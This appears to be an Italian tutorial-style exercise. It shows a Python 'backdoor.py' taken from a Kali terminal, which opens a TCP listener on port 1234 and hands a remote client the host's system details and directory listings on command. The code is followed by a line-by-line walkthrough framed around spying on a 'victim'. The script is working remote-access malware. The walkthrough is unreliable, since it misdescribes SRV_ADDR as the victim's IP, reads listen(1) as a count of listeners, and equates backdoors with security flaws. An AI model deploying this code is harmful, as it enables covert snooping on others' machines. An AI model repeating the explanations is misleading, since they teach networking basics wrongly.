

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

La backdoor non è altro che l'azione per aggirare le misure di sicurezza spesso aziendale . l'identificazione di queste backdoor porta l'attaccante ad accedere senza essere individuato a informazioni riservate che stanno dietro la backdoor, potremmo dire dunque che in altre parole le backdoor sono le falle nella sicurezza.

Il codice qui presentato svolge la funzione di Socket,platform e os come si può leggere nella prima riga del codice.

Nella sezione SRV_ADDR="" va messo l'indirizzo ip della vittima.

Nella riga sotto SRV_PORT= il numero della porta da cui si desidera entrare per spiare la vittima.

La riga con il codice : s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s= socket.socket è uno standard.

socket.AF_INET è legato al fatto che la rete in questione è un ipv4.

Tramite in s. listen vengono indicati il numero di persone che posso ascoltare

In questo caso 1 se fosse stato diverso da 1 l'ascoltatore/attaccante può switchare l'ascolto da una vittima ad un'altra

La riga `while 1:` indica che continuerà all'infinito a connettersi ed ascoltare (infinito per via del 1 che indica il `true` quello che il ciclo `while` fa è quello di ripetere il ciclo fino alla condizione che è uguale a `false` che in python si traduce con il numero 0).